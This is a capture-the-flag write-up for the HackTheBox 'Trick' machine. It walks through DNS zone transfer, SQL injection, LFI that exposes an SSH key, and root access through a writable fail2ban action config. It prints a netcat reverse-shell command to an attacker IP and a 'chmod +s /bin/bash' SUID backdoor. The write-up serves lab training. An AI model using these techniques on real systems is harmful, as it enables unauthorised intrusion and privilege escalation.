# HackThBox - Trick
## NMAP
```bash
Nmap scan report for 10.129.85.201
Host is up (0.15s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 61:ff:29:3b:36:bd:9d:ac:fb:de:1f:56:88:4c:ae:2d (RSA)
| 256 9e:cd:f2:40:61:96:ea:21:a6:ce:26:02:af:75:9a:78 (ECDSA)
|_ 256 72:93:f9:11:58:de:34:ad:12:b5:4b:4a:73:64:b9:70 (ED25519)
25/tcp open smtp?
|_smtp-commands: Couldn't establish connection on port 25
53/tcp open domain ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
| dns-nsid:
|_ bind.version: 9.11.5-P4-5.1+deb10u7-Debian
80/tcp open http nginx 1.14.2
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.14.2
|_http-title: Coming Soon - Start Bootstrap Theme
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```
## PORT 80 (HTTP)
On the web page we see a bootstrap template which has nothing intersting
Fuzzing for files and directories it didn't found anything as well
## PORT 53 (DNS)
Having dns service running we can try to see if we can query dns records or perform dns zone transfer for that we need a domain name, we can get the domain by performing a reverse dns lookup which resolve IP to domain name
https://book.hacktricks.xyz/network-services-pentesting/pentesting-dns
`dig -x 10.10.11.166 @10.10.11.166`
Having the `trick.htb` we can add this in hosts file
Now to enumerate further we can perform the dns zone transfer
This shows `root.trick.htb` subdomain but it doesn't take us anywhere, on performing zone transfer with `axfr`
We get another domain name `preprod-payroll.trick.htb`, so let's add this in hosts file as well
Visting this subdomain, we'll get a login page on which we can try default credentials
Which didn't worked, so next I tried sqli
That worked, so I tried running `sqlmap` but `time-based blind` so it's gonna take a lot of time in dumping the data
## Foothold
Going back to the site we can see a GET parameter `page` fetching for pages, I tried to perform LFI on that parameter but it didn't worked
I tried running `wfuzz` against the parameter using LFI wordlist
Which didn't worked but the web app had sql injection in ton of places, on viewing employee details intercepting the request, we'll get a GET parameter `id` which also is vulnerable to sqli
It shows that it's boolean-blind as on the login page it was a time based sqli so with this we can perform LFI to read nginx vhost configuration file
This shows another subdomain `preprod-marketing.trick.htb`
Alternatively we can enumerate this subdomain by running wfuzz
This loads up another site, having nothing special other than the same GET parameter, so I tried running LFI wordlist here as well
This starts to give us some output on filterting the response
We have the username `michael` , we can try to see if we can access his .ssh folder for `id_rsa`
## Privilege Escalation
Running `sudo -l` to check if we can run with sudo privileges
So we can restart the `fail2ban` service but we don't know exaclty what we need to edit, being in security group we can check what permissions this group has
We have write access to this folder which has configuration files for fail2ban
I found an article explaining how we can abuse fail2ban config file
https://youssef-ichioui.medium.com/abusing-fail2ban-misconfiguration-to-escalate-privileges-on-linux-826ad0cdafb7
For this we need to edit the `actionban` command in `iptables-multiport.conf`, so first let's copy this file in /tmp or other directory where we can edit it with a reverse shell
```bash
/usr/bin/nc 10.10.14.39 2222 -e /bin/bash
```
After editing the config file, move it back to the action.d folder and restart fail2ban service
Then start doing fail attempts on login, you'll get a reverse shell on your port
But our reverse shell connection dies and the reason behind this is, the ban duration lasts for 10 seconds and bans the host after the 5th attempt
Instead of getting a reverse shell we can just make bash a SUID with `chmod +s /bin/bash`
Performing the invalid login attempts on ssh will trigger the fail2ban on the 5th invalid attempt
## References
- https://book.hacktricks.xyz/network-services-pentesting/pentesting-dns
- https://youssef-ichioui.medium.com/abusing-fail2ban-misconfiguration-to-escalate-privileges-on-linux-826ad0cdafb7